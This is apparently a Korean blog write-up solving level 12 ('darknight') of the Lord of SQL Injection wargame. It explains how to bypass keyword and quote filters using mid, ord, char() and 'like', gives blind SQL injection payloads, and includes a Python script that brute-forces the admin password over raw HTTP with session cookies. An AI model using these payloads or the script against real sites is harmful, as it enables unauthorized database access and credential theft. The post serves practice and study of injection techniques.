[los - SQL injection] darknight ( 12단계 )
[ 풀이과정 ]
darknight에서 no는 prob _ . ( ) ' substr ascii = 기호가 preg_match로 필터링 되어있고
pw는 싱글쿼터가 필터링 되어있다.
pw에는 싱글쿼터가 필터링 되어있어서 우회하기가 힘들고 no를 보면 numeric SQL injection을 이용할 수 있는게 보인다..
select id from prob_darknight where id='guest' and pw='' and no=1 or id in (char(97,100,109,105,110)) %26%26 length(pw) like 8을 이용해서 admin의 pw 길이가 8인걸 알아냈다.
substr과 ascii가 필터링 되어있지만 ord와 mid를 이용하면 admin의 pw를 찾을수 있다.
no=1 or id in (char(97,100,109,105,110)) && ord(mid((select pw),1,1)) like 49에서
- ' -> 대체문자가 존재하지않기 때문에 우회 불가능
- ascii -> hex, ord, ...
python으로 만든 자동화 프로그램을 이용해서 mid의 시작위치와 비교하는 값을 변경 해주면서
pw에 각 자리에 해당하는 문자를 추출해서 ord() 함수로 아스키코드값에 대응되는 문자로 변환시켜주면
모든 pw를 다 구해낼수 있다.
12단계 클리어~~
darknight.py
from socket import *
from struct import *
for i in range(1,9):
ch = 48
while True:
#if 58 <= ch <= 64: ch + 1; continue
#if 91 <= ch <= 96: ch + 1; continue
if ch > 122: break
sock = socket( AF_INET, SOCK_STREAM )
sock.connect( ('104.27.174.42', 80) )
request_header = 'GET /darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 '
request_header += 'or id in (char(97,100,109,105,110)) %26%26 ord(mid((select pw),'
request_header += str(i)
request_header += ',1)) like ' + str(ch)
request_header += ' HTTP/1.1\r\n'
request_header += 'Cookie:__cfduid=d01f650811e82f029196d8b4eabcaece41505210653;
PHPSESSID=k54flk2m7tq8qa2q4du8kuvj13\r\n'
request_header += 'Host:los.eagle-jump.org\r\n'
request_header += '\r\n'
sock.send( request_header.encode() )
response = sock.recv(65535).decode()
if 'Hello admin' in response:
print( chr(ch), end='' )
sock.close()
break
ch = ch + 1;
sock.close()
'워게임 > LOS' 카테고리의 다른 글
[los - SQL injection] giant ( 14단계 ) (0) | 2017.09.24 |
---|---|
[los - SQL injection] bugbear ( 13단계 ) (0) | 2017.09.24 |
[los - SQL injection] golem ( 11단계 ) (0) | 2017.09.23 |
[los - SQL injection] skeleton ( 10단계 ) (0) | 2017.09.23 |
[los - SQL injection] vampire ( 9단계 ) (0) | 2017.09.23 |
댓글